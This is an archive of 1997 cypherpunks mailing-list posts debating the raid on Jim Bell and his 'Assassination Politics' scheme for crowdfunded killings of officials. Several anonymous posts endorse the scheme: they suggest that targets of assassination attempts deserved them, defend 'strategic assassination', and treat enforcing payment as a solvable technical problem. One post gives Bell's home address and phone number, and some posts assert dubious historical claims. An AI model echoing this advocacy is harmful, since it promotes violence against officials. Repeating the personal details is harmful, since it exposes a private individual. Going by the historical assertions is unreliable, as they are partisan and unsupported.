If you care to read the history of the times from unbiased sources 
you will find that the Boston patriots main gripe with Britain was
not the tax on tea but the insistence of the British authorities on
negotiating with the Sioux nation amongst others. It was the fear
that the British would sign a peace treaty with the Indians recognising
them as a sovereign nation that was the spark to the flame. Try
reading "Lies my teacher told me" sometime.

Given that the American revolution institutionalised slavery and
lead to the theft of Indian land, and the French revolution the murder of 
about quarter of a million people they cannot be said to be entirely
laudatory events. The national myths of the countries concerned 
nothwithstanding.

People are not fit judges of their own cause. The civil war was started
by the South who believed that the North might infringe their "right"
to own others as property.

> Note that I've never called for a witch hunt, nor have I called for his
> posts to be censored out of the list. I chose a long time ago to filter
> Jim's stuff into my appropriate folder for such stuff, and occasionally
> took him out of the filter when he seemed (from occasional checks on what I
> was filtering), to be discussing things other than his "Klaatu Narada
> Nictoo" (or whatever) Final Solution.

Same for me. I objected to Bell's AP proposal but not to his _right_
to post it. It was the tedious length at which he bored the rest of us
with it that I objected to.

Last I heard the Feds were concerned that he might have been putting 
AP into effect. Collecting the names and addresses of IRS officials,
setting up a kangeroo court to try them, sending them demands, those
sound like actions Bell would have serious difficulty in doing without
giving someone reasonable cause to believe they were being targetted
for murder.

	Phill
  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 4 Apr 1997 17:20:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats (fwd)
Message-ID: <199704050125.TAA11786@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 4 Apr 1997 16:36:54 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Feds reading this list, Jim Bell, and threats

> of people through AP--I don't find it at all surprising that an
> investigation, involving search warrants, happened.
> 
> Whether he gets charged, let alone convicted, and his conviction is upheld,
> is a different set of issues.

I have a problem with this process, it denies due process to the accussed.
This should be the issue of concern with Jim Bell, mainly the fact that his
property was taken on a warrant issued on oath of probable cause. If you
have enough evidence ("I think he is dangerous judge" is not evidence except
to a fool) to produce a search warrant then you should have to explain the
results of that warrant to a judge and that means the accussed has a right
to be there and have a say.

Since his property was taken for public use, protection of public officials,
then those agencies should pay him for the property and the relative worth
of the work on it OR do what Constitutionaly is correct. This is mainly at
the point of delivering the search warrant a notice of appearance before a
court should be presented to answer those charges. He has a right to face
his accusers FROM THE VERY BEGINNING OF THE CASE as well as legal council by
public appointment if required. Under the current conditions Jim Bell is
being forced to testify against himself (some argue that this is not so, if
that is true why then are we 'secure in our property and papers'?) and has
been denied the right to legal council, as well as facing his accusers in a
court.

If this sort of check and balance is not in place then we get law
enforcement confiscating property without charges being filed and hence no
legal issues for the accussed to defend. This could be used to shutdown a
newspaper (for example) because of articles that it printed. It nearly put
Steve Jackson out of business.

This is what you should be pissed off about. Jim Bell, as we all do, carry
our own crosses. The issue is not whether Jim Bell committed a crime but
rather did the law enforcement agencies follow the Constitution they swore
to uphold.

Let's see, I believe the courts say that a 72 hour stay in jail without
charges being filed is the limit for habeas corpus. How about the accussed
has to appear before the judge along with the police within 72 hours. At
that point charges could be filed, charges dropped, payment for property, or
return of property could be handled. If the defendant doesn't appear then a
bench warrant can be issued on the premise that an attempt to flea is in
process. If the police don't show or can't produce a good enough argument
the charges get dropped and property returned along with reimbursment for
any damages to the property or losses incurred by its confiscation (the money
should come from the polic budget). If the police refuse to act then a Writ
of Habeas Corpus could be issues demanding the return of the property to the
possession of the court or face criminal action.

Police in a democracy should be conservative in action.

Bet you EFF don't do this one for free. "Oh my god, an ex-drug dealer..."
instead of "Oh my god, a poor game publisher...".

Fucking hypocrites.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 4 Apr 1997 19:33:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <199704050332.TAA14134@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> At 6:05 PM -0500 4/4/97, Mark M. wrote:
> 
> >  I don't know any anarchists who oppose
>                                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >contract law or argue that anyone has this right.  The cryptography employee
>               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >who releases trade secrets or sabotages products is violating the company's
> >property rights; whether it is moral or not is irrelevant.  Again, I don't
> >think you will find any anarchists who would dispute this.
>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ *
  {* TCM's emphasis}
> 
> Count me as one who thinks things are not this easy. Ultimately, all
> decisions to obey or ignore or sabotage contractual relationships is a
> personal one.

  I agree. Obviously Mark doesn't know enough anarchists.
  Pardon me for beating my Hitler analogies to death, but when 
Hitler was Fuhrer, the trains ran on time. I have no problem 
with those who supported him for this reason. However, as his
administrative policies began to increasingly infringe on the
lives of others, it was up to each participant in his ruling
party to decide for themselves what was an acceptable level
of power/control over the citizens, and what was not.
  My own rule of thumb is to consider whether I would consider
laws or regulations affecting the behavior and rights of 
others to be an infringement if they were applied to my own
behavior and rights.

> This issue has come up before. One name for the debate is "lifeboat
> ethics." Suppose Alice has a contract not to trespass against the property
> of others in the marina she belongs to. One night she falls off her boat as
> she's leaving the marina. She can either _honor_ her contract, and drown.
> Or she can grab onto Bob's boat and pull herself to safety, even though
> she's just without any doubt vioated her contract.
> 
> As I mentioned a few days ago, there are _some_ anarchists, notably Murray
> Rothbard, who argued that Alice must choose death over violation of a
> contract. Most anarchists I know think him crazy.

  I fully support Rothbard's right to choose death, but do not 
consider him as having any say in Alice's decision.
 
> >Cryptography professionals have the *ability* to follow their consciences,
> >but that does not excuse them from punishment resulting in infringing on
> >their employer's rights or violating the terms of their employment.
> 
> I've never argued that those who get caught breaking a contract shouldn't
> face the consequences--providing others in the society honor the contract!

  This begs the question of who is to decide whether or not 
society is honoring their part of the contract.
  Arguing that society/civilization is doing a fairly decent job
"for the most part" does not negate the fact that if an individual
is taking it up the ass, he or she will not be inclined to take it
sitting down.
  Native Americans are the prime example of a group who were 
subjected to severe penalties for failing to "honor the contract"
while their oppressors felt free to dishonor the contract at
will by virtue of superior firepower.

  Individuals have the freedom to sabatoge systems which they
see as injust and oppressive. To suggest that the average person
will abuse that right, and thus has no conscience, is to suggest
that the average person has less right than corporations to decide
what is right and wrong.
  It is my own belief that fears surrounding employees making 
morally based decisions of this nature are a result of the
knowledge that many corporate entities fall short of meeting
even rudimentary standards of moral values.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 17:49:15 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell raid
In-Reply-To: <1.5.4.32.19970405010511.006f39f4@pop.pipeline.com>
Message-ID: <3345AFD0.7E67@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Young, checking his sources, as usual wrote:
> 
> I asked Jim last night if he wanted any of the documents associated
> with the raid published and he said not yet:

> That the feds had set it all in motion with lurid affidavits, with press
> invitation, with paraded troops and battle armaments to fit the show
> and tell tinhorn war gamers seeking more funding -- tax time at hand.
> 
> He seems bemused that his script was followed so dutifully for Act 1.
> And awaits the next acts, instigated not only by his taunts but by
> the national campaign to divert attention from TLA/LEA snafus.

  When I was running a nude club in Bell County, Texas, the local
paper carried a small item about how the Sheriff would soon 
announce his bid for re-election.
  The next day, the constabulary raided my club, complete with
press, camera crews, etc.
  The following day, beneath the press report on the raid, was
another press report detailing the Sheriff's announcement of
his bid for re-election.

  I eventually left Bell County, but David Koresh moved in to fill
the void, apparently so that elected law enforcement officials
would not lack for bodies to lay on the scales of electoral justice.

> Jim's telephone number: 1-360-686-3911
 
> For a reality check compare Jim  to the world's presidents, parliaments,
> high-tech industrialists, spies and media infowar gamers trying valiantly
> to alarm the Disney-narcotized citizenry.

  Chasing the Disney Dragon is one way to become comfortably numb.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 19:00:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <01BC412D.6B3C02C0@crecy.ai.mit.edu>
Message-ID: <HXXN5D60w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
<some bullshit>
> People are not fit judges of their own cause. The civil war was started
> by the South who believed that the North might infringe their "right"
> to own others as property.

This is a lie.  The South was looking for a peaceful secession and bent
over backwards to avoid the war, which was started by the North.

<more bullshit>

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 4 Apr 1997 20:01:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <v02140b05af6b7e0fa243@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>  Pardon me for beating my Hitler analogies to death, but when
>Hitler was Fuhrer, the trains ran on time. I have no problem
>with those who supported him for this reason. However, as his
>administrative policies began to increasingly infringe on the
>lives of others, it was up to each participant in his ruling
>party to decide for themselves what was an acceptable level
>of power/control over the citizens, and what was not.

Unfortunately, by the time he really impacted personal liberties it was too
late, as his power was consolidated and the citizenery disarmed (1935).

--Steve

>> I've never argued that those who get caught breaking a contract shouldn't
>> face the consequences--providing others in the society honor the contract!
>
>  This begs the question of who is to decide whether or not
>society is honoring their part of the contract.
>  Arguing that society/civilization is doing a fairly decent job
>"for the most part" does not negate the fact that if an individual
>is taking it up the ass, he or she will not be inclined to take it
>sitting down.

Yes, much better to hang from the ceiling.

>  Native Americans are the prime example of a group who were
>subjected to severe penalties for failing to "honor the contract"
>while their oppressors felt free to dishonor the contract at
>will by virtue of superior firepower.

Hopefully, what goes around comes around.

>
>  Individuals have the freedom to sabatoge systems which they
>see as injust and oppressive. To suggest that the average person
>will abuse that right, and thus has no conscience, is to suggest
>that the average person has less right than corporations to decide
>what is right and wrong.
>  It is my own belief that fears surrounding employees making
>morally based decisions of this nature are a result of the
>knowledge that many corporate entities fall short of meeting
>even rudimentary standards of moral values.

"I don't want to rock the boat... I want to sink it."  Putney Swoope

>
>TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 17:13:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Jim Bell raid
Message-ID: <1.5.4.32.19970405010511.006f39f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


I asked Jim last night if he wanted any of the documents associated
with the raid published and he said not yet:

That the local papers were publishing selected parts to inflame reader 
lust. 

That the feds had set it all in motion with lurid affidavits, with press
invitation, with paraded troops and battle armaments to fit the show
and tell tinhorn war gamers seeking more funding -- tax time at hand.

He seems bemused that his script was followed so dutifully for Act 1. 
And awaits the next acts, instigated not only by his taunts but by
the national campaign to divert attention from TLA/LEA snafus.

In this spirit, for a truly homicidal, bloodstirring script read the National 
Defense Authorization Act for 1998: 

   http://jya.com/nda98.txt

Now that's Assassination Politics to feed the lust of the best and brightest
of all nations, if not that of a few of the overmuch AP protestors here.

Jim's telephone number: 1-360-686-3911

For a reality check compare Jim  to the world's presidents, parliaments, 
high-tech industrialists, spies and media infowar gamers trying valiantly 
to alarm the Disney-narcotized citizenry.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 17:46:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bell's Phone Number
Message-ID: <1.5.4.32.19970405013753.00875e58@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Correction for Jim Bell's telephone number:

1-360-696-3911

It's available via Information, assisted by the original
story:

"James D. Bell, who reportedly lives with his elderly
parents at the home at 7214 Corregidor Road
Vancouver, WA."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 17:58:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: NDA98 URL
Message-ID: <1.5.4.32.19970405015039.006f46b0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The correct URL for the National Defense Authorization for 
FY1998 is:

   http://jya.com/nda98.htm  (176K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 4 Apr 1997 19:55:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: From the "pissing up a rope" file...
Message-ID: <v0302093eaf6b6d83b633@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Priority: normal
Date:         Fri, 4 Apr 1997 13:36:05 MET
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Stephan Bleisteiner <SBLEISTEINER@JURA.UNI-WUERZBURG.DE>
Organization: Uni Wuerzburg - Jur. Fak.
Subject:      NBC Europe Question of the week
Comments: To: FIGHT-CENSORSHIP@vorlon.mit.edu
To:           CYBERIA-L@LISTSERV.AOL.COM

I thought some people on the list might feel very strongly about this
issue and would like to cast their vote.

The NBC Interactive Question of the Week:

Should there be one international group that governs and controls web
content?

YES
NO

To cast your vote go to http://www.nbceurope.com

Stephan

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 19:19:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Prior Restraint
Message-ID: <1.5.4.32.19970405031124.006dba84@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


As noted here on April 2, we've put on our Web site several of
the docs of the Peter Junger suit against the Secretary of State:

   http://jya.com/pdj.htm

One gives parts of Peter's article "Computers and the Law" which 
includes machine-readable code, code which is prohibited by the 
EAR from being placed on the Internet without a license (it is this 
"prior restraint" that Peter is challenging):

   http://jya.com/pdj003b.htm

When Peter saw that I had put the article and code on my site,
he telephoned immediately to say that the article should not have 
been sent to me along with the other material. He asked that it be 
removed because electronic publication could harm his case and
put me at risk of prosecution.

After discussion I declined to remove it, and thanked him for his 
advice.

Yesterday, Richard Vasvari, one of Peter's three attorneys, called
to politely ask that I remove the doc. And further explained how its 
electronic publication could harm the case and put me at risk. 

He said that he had notified Anthony Coppolino, DoJ, that the document 
was on the Web, as he was obliged to do by procedural rules. That 
they had discussed the ramifications. He did not say what DoJ intended
to do.

And, that he was obliged as an attorney to advise me to retain an attorney
for my defense against prosecution for placing the doc on the Web.

During this discussion with Mr. Vasvari I checked the access log for the 
prohibited doc and saw that DoJ had accessed it as well as several other 
files on me and my org.

I told Mr. Vasvari this and he again advised me to remove the doc. Again,
I declined.

After chewing on this restraint of my publication by the attorneys, I 
decided to delete only the machine-readable code from Peter's article, 
leaving the  text which explains why the electronic publication of the code 
is the crux of Peter's First Amendment case. On the assumption that his 
prior restraint claim is more important than mine.

Take at look and let me know what you think. Should I have deleted the
code or left it in the public domain where it belongs? Am I right to comply
with the attorneys' first claim on prior restraint?

Meanwhile, anyone worldwide who want the article with the code intact, 
send me an email for instructions on how to get it.

Use the subject: Restraint






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 4 Apr 1997 23:07:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Assassination Politics (corrected repost)
Message-ID: <199704050703.XAA18722@swan>
MIME-Version: 1.0
Content-Type: text/plain



Explanation: I am reposting this because my original post seems to
             have been inadvertantly(?) mutilated after the fact.


On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote:

>Timothy C. May wrote:
>>
>> Political advocacy is one thing, but making threats, even veiled ones, is
>> another matter.
>
>Absolutely, that is why I was keen for people to oppose Bell's views.
>If his ramblings had gone unchallenged he would now be being
>presented as a representative of Cypherpunk/ pro-crypto views.

  Likewise, we wouldn't want your ramblings to go unchallenged, as you
might be presented as a representative of Cypherpunk/pro-crypto views.

>Besides anything else Bell was like the party bore with a
>hobby horse he just has to talk about. I'm somewhat more
>sensitive than most to advocates of murdering government
>officials, some of my relatives are in government and have
>had well publicised assassination attempts against them.

  Maybe they deserved them.  Making politics more risky may have the
benificial effect of thinning out the ranks of politicians to truely
dedicated ones, instead of the fat parasitic beurocrats we have now.

>I think that Bell's posts were entirely different from Tim's or
>for that matter almost every other person on the list. Tim
>demonstrated that a covert information sales organisation was
>possible with Blacknet but he never advocated setting it up.
>Indeed part of the point was the ethical responsibilities. Bell
>on the other hand was likely to respond to any post with his
>AP piece. I have throughout considered these to be incitement to
>murder.

  Given certain political views contrary to your own, the government
not only incites but commits murder daily, on a much greater scale.
Is it so wrong try to put an end to this by a little strategic
assassination?

>paul@fatmans.demon.co.uk wrote:
>
>> Not at all, Jim advocates the use of necessary force against an
>> initiator of violence, as you would see if you have read Jims AP
>> overview essay he does not advocate the use of AP to kill innocent
>> people, indeed he does not intend it to kill anyone at all, Rather to
>> act as a deterrent to government which would violate the NAP.
>
>Who decides what "innocent" was?

  Certainly not the government.

>In Jim's world it was very clear that he decided who was innocent,
>he decided what his rights were, he decided who he could murder.
>
>He limited the justifiable targets of AP to be those he thought should
>be targets. His argument with the IRS appears to have included the
>claim that they infringed his rights which under Bell's manifesto
>gives him the right to murder them.

  You're completely off the mark.  Have you read his essay at -
http://www.prairienet.org/bureau42/public/apfull.txt

  He cited government officials involved in Waco, Ruby Ridge, and the IRS
as examples.  But, he clearly stated that:
    
 "It would be impossible, for example, to set up some sort of
  "Assassination Politics Dictator," who decides who will live and who will
  die, because competition in the system will always rise to supply every
  demand, albeit at possibly a very high price.  And if you believe the maxim
  that "absolute power corrupts absolutely," you wouldn't want to accept any
  form of centralized control (even, perhaps, that of your own!), because any
  such control would eventually be corrupted.  Most rational people recognize
  this, and I do too.  I would not have invented a system where "Jim
  Bell" gets to make "all the decisions."  Quite the contrary, the system I've
  described absolutely prevents such centralization.  That, quite frankly, is
  the novelty and dare I say it, the beauty of this idea.  I believe that it
  simply cannot be hijacked by centralized political control.

  As I pointed out in the essay, if _I_ were running one of the organizations
  accepting those donations and offering those prizes, I would selectively
  list only those targets who I am genuinely satisfied are guilty of the
  violation of the "non-agression principle."  But as a practical matter,
  there is no way that I could stop a DIFFERENT organization from being set up
  and operating under DIFFERENT moral and ethical principles, especially if it operated
  anonymously, as I antipate the "Assassination Politics"-type  systems will
  be.   Thus, I'm forced to accept the reality that I can't dictate a
  "strongly limited" system that would "guarantee" no "unjustified" deaths:  I
  can merely control my little piece of the earth and not assist in the abuse
  of others."

>> Also, an inevitable consequence of anonymity and untraceable ecash is
>> that assasination pools will become a feature of the political
>> landscape.
>
>No, it is not. If it were then Digital cash would never be possible.
>Society simply would not allow it and they would be right not to
>do so.
>
>It is because Bell's scheme is entirely preposterous that Digital
>cash is possible. There is simply no way an AP contract could be
>enforced. The betting pool is simply one of a long line of failed
>attempts to prop up the scheme.

  If this is so impossible, then why do you later claim that:
"I have plenty to worry about, Bells plan would lead to murder of
innocent people."?

  You do have a point, though.  The actual payment would be hard to
enforce.  This is just a technical difficulty that can be overcome with
dedicated effort.  The idea is sound in all other ways.

>No country could allow such a betting pool to operate from its soil,
>nor any other such cover. If an IRS agent was murdered as a result
>of a contract placed in an Anguilla betting pool the marines would
>be landing the next week. No country that is small enough not to be
>threatened by AP has the necessary millitary strength to resist
>invasion. The benmefits of hosting the AP pool are marginal if any
>therefore no country would ever host it.

  Ever heard of "virtual corporations"?  They may exist without heed
to national borders.  The technical means also exist for complete
anonymity on the internet, so that even the location of servers
may be concealed (via. Onion Routers, and their ilk).  Besides,
all interaction with the corporation could be conducted through
email, for which a rather high degree of anonymity exists already.

>>Of course there is nothing to stop someone betting that an
>> innocent person should be killed, this is a great problem in the
>> scheme, but if this did occur the friends and family of the victim
>> would normally have a pretty good idea who placed the bet and could
>> place a bet on their imminent death...
>
>There is everythingt to stop bets being placed period.

  This is debatable, as much as you fasion yourself the arbiter of
what is possible.

>Of course the main use of AP would be to murder familly members,
>business rivals etc. AP is simply an unrestrained murder machine
>with absolutely no safeguards.

  Assassination transactions against anyone can be carried out
anonymously right as we speak.  There are absolutely no safeguards 
against that.  However, AP is different.

  AP calls for a large pool of money donated in generally small ammounts 
by large numbers of individuals.  The incentive for killing officials 
who garner retribution from whole populations would be much greater 
than that of some random individual.

>> Besides which you seem not to have read and understood AP as you have
>> ignored Jims comments about the problems of innocent people being
>> killed.
>
>This "not understood" conciet is bogus. I have read and fully
>understood Bell's article. It is in my view an incitement to murder.
>
>I have degrees in Nuclear Physics, Electronic Engineering, I have
>been offered a contract for my book on the philosophy of
>communication. If Bell can't communicate his idea to me then that is
>his fault, his responsibility. I am arguing against the plan
>he describes. Do not try the patronising "you are not clever enough
>to understand this" line. In this case it is bluster.

  H.L.Machen perceptively noted, "It is a common fallacy of our time 
that a moron run through a university and decorated with a PHD will 
thereby cease to be a moron."  So save your credentials for
the tabloids.

>> Question: Would you say the assassination of a statist who had badly
>> violated the NAP (eg. A district attorney involved in prosecutions
>> for drug dealing) was a crime?
>
>Absolutely for the simple reason that mob rule, lynch law is always
>criminal. If there is no due process there is no justice.

  Ah, I see that you are in agreement with some of the framers of our
great constitution in rejecting Direct Democracy, in favor of
one or another flavor of elitism (Representative Democracy, lets say).
Not that it's necessarily so bad, mind you, but at least you're showing
your true colors.

>Under AP rules the state has a perfect right to execute Bell. Bell
>clearly intends the murder of government personel, therefore under
>AP rules the government has the "right" to protect itself with AP
>if it choses. If it decides on a less arbitrary sanction then
>under AP principles that is a concession it is not required to make.

  The state has no rights.  It is not a living individual.  Only humans,
and arguably animals, have rights.

>AP eliminates process and with it proof. There are no steps proposed
>by which an AP initiator should deterine whether his rights have indeed
>been infringed.

  You're right.  It is not the American Way of justice.  However,
that way is not itself above suspicion.  The reliability of witnesses
is suspect, even when they are sincere in trying to recall events.
The judges are not above corruption, especially as they are in positions
of power and power corrupts.  Finally, the jury is not without its
biases, even when its not also paid off, as can be seen from the
controversial results of well publicised cases involving Rodney King
and O.J.Simpson.

>Therefore an instigator is not acting upon actual
>infringement of rights, merely suspected infringment.

  This may or may not be true.  Some donations to AP organisations may
have no basis in fact whatsoever.  The public is verry malleable, I'll
grant you.  However, others, such as large scale repression, will
have very real basis in fact.  Imagine the will of the Black people
being harnessed through AP organizations during American Slavery.

>The state employees suspect Bell plots infringement of his rights. 
>Therefore under Bell's own theory they have the right to respond by 
>infringing his rights, without trial.

  Of course.  However, the state employees are few.  The subjects,
or "beneficiaries" of the state are many.

>AP does not contain a coherent normative ethical theory.

  Of course it does, I don't think you've read closely enough.  Perhaps
you should stick to Nuclear Physics and Electrical Engineering.
Scientists are notorious for not "getting" ethics, or completely
ignoring them in wanting to stick to "pure" science.

>> WRONG... The LEAs were the initiators of force and violators of the
>> NAP, Jim Bell, were he to kill a member of the IRS, would not be
>> commiting any crime, rather defending himself from a violation of his
>> rights.
>
>He would empirically be guilty of a crime. The courts would consider
>it murder and sentence him accordingly.

  Obviously, Paul is speaking of crime from Jim Bell's "ethical theory"
perspective.  Phil discounts the existence of that perspective, and 
answers from a "real world" perspective, completely missing Paul's point.

>You may not consider him ethically to be guitly of something wrong.
>I would disagree in that case. The LEAs have the right to initiate force
>in accordance with the directions of a court order. They are pre-emtively
>protecting their personal right to defend themselves and on behalf of
>society pre-emptively protecting it.

  The state is self-perpetuating.  Threats to the well being of members
of it are taken seriously, that's no surprise.  It would be surprising
for the subjects of this state to wake up and pre-emtively protect
themselves from the state.

>> If I may make an analogy you are saying that were I to be attacked in
>> the street, and I pulled a gun on the attacker he has a "moral" right
>> to kill me to protect himself?
>
>He could well have that legal right in certain circumstances.

  You didn't answer his question.

>> > However, I also think that there is a possibility that his statements,
>> > either on cypherpunks or elsewhere, may have gone over the line in
>> > terms of threatening behavior.  It may be a moral weakness on my part,
>> > but I am not too inclined to defend someone who advocates shooting me.
>>
>> Then you are of weak character and a closet statist.
>
>Good, now we have discovered that names like statist, liberal etc
>are not insults even if bellowed by idiots at the top of their
>lungs we can return to sanity.

  Ah, sanity.  The Crusades seemed sane to the Christians.
The Holocaust to the Nazis.  Communism to the Russians.  And now,
a police state to the Americans.

>I will not only refuse to support Bell, I'll testify against him in
>court if asked.

You're such a good patriot.

>I don't believe that people are fit judges of their own cause as Bell 
>and you do.

  More elitism!  Well, we're all lucky we have you, the agents at Waco and
Ruby Ridge, and the IRS to protect us.  Perhaps you'll do us all a favor
and judge yourself superfluous and even harmful to "the people's cause"
and put a contract on yourselves in an AP organization, when they come
to be.  I thought not.  All we'll see are attempts are self perpetuation.

>> Otherwise you have no more to worry about than you do now, AP simply
>> allows people perfect (as near as possible) anonymity, You can have
>> someone assasinated now without betting pools....
>
>I have plenty to worry about, Bells plan would lead to murder of
>innocent people.

  Again, what do you have to worry about if, as you say, "Bell's scheme 
is entirely preposterous"?


   -=- A concerned citizen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Fri, 4 Apr 1997 21:03:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Assassination Politics (was Re: Feds reading this list, Jim Bell, and threats)
Message-ID: <199704050502.VAA06922@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote:

>Timothy C. May wrote:
>>
>> Political advocacy is one thing, but making threats, even veiled ones, is
>> another matter.
>
>Absolutely, that is why I was keen for people to oppose Bell's views.
>If his ramblings had gone unchallenged he would now be being
>presented as a representative of Cypherpunk/ pro-crypto views.

  Likewise, we wouldn't want your ramblings to go unchallenged, as you
might be presented as a representative of Cypherpunk/pro-crypto views.

>Besides anything else Bell was like the party bore with a
>hobby horse he just has to talk about. I'm somewhat more
>sensitive than most to advocates of murdering government
>officials, some of my relatives are in government and have
>had well publicised assassination attempts against them.

  Maybe they deserved them.  Making politics more risky may have the
benificial effect of thinning out the ranks of politicians to truely
dedicated ones, instead of the fat parasitic beurocrats we have now.

>I think that Bell's posts were entirely different from Tim's or
>for that matter almost every other person on the list. Tim
>demonstrated that a covert information sales organisation was
>possible with Blacknet but he never advocated setting it up.
>Indeed part of the point was the ethical responsibilities. Bell
>on the other hand was likely to respond to any post with his
>AP piece. I have throughout considered these to be incitement to
>murder.

  Given certain political views contrary to your own, the government
not only incites but commits murder daily, on a much greater scale.
Is it so wrong try to put an end to this by a little strategic
assassination?

>paul@fatmans.demon.co.uk wrote:
>
>> Not at all, Jim advocates the use of necessary force against an
>> initiator of violence, as you would see if you have read Jims AP
>> overview essay he does not advocate the use of AP to kill innocent
>> people, indeed he does not intend it to kill anyone at all, Rather to
>> act as a deterrent to government which would violate the NAP.
>
>Who decides what "innocent" was?

  Certainly not the government.

>In Jim's world it was very clear that he decided who was innocent,
>he decided what his rights were, he decided who he could murder.
>
>He limited the justifiable targets of AP to be those he thought should
>be targets. His argument with the IRS appears to have included the
>claim that they infringed his rights which under Bell's manifesto
>gives him the right to murder them.

  You're completely off the mark.  Have you read his essay at -
http://www.prairienet.org/bureau42/public/apfull.txt

  He cited government officials involved in Waco, Ruby Ridge, and the IRS
as examples.  But, he clearly stated that:
    
 "It would be impossible, for example, to set up some sort of
  "Assassination Politics Dictator," who decides who will live and who will
  die, because competition in the system will always rise to supply every
  demand, albeit at possibly a very high price.  And if you believe the maxim
  that "absolute power corrupts absolutely," you wouldn't want to accept any
  form of centralized control (even, perhaps, that of your own!), because any
  such control would eventually be corrupted.  Most rational people recognize
  this, and I do too.  I would not have invented a system where "Jim
  Bell" gets to make "all the decisions."  Quite the contrary, the system I've
  described absolutely prevents such centralization.  That, quite frankly, is
  the novelty and dare I say it, the beauty of this idea.  I believe that it
  simply cannot be hijacked by centralized political control.

  As I pointed out in the essay, if _I_ were running one of the organizations
  accepting those donations and offering those prizes, I would selectively
  list only those targets who I am genuinely satisfied are guilty of the
  violation of the "non-agression principle."  But as a practical matter,
  there is no way that I could stop a DIFFERENT organization from being set up
  and operating under DIFFERENT moral and ethical principles, especially if it operated
  anonymously, as I antipate the "Assassination Politics"-type  systems will
  be.   Thus, I'm forced to accept the reality that I can't dictate a
  "strongly limited" system that would "guarantee" no "unjustified" deaths:  I
  can merely control my little piece of the earth and not assist in the abuse
  of others."

>> Also, an inevitable consequence of anonymity and untraceable ecash is
>> that assasination pools will become a feature of the political
>> landscape.
>
>No, it is not. If it were then Digital cash would never be possible.
>Society simply would not allow it and they would be right not to
>do so.
>
>It is because Bell's scheme is entirely preposterous that Digital
>cash is possible. There is simply no way an AP contract could be
>enforced. The betting pool is simply one of a long line of failed
>attempts to prop up the scheme.

  If this is so impossible, then why do you later claim that:
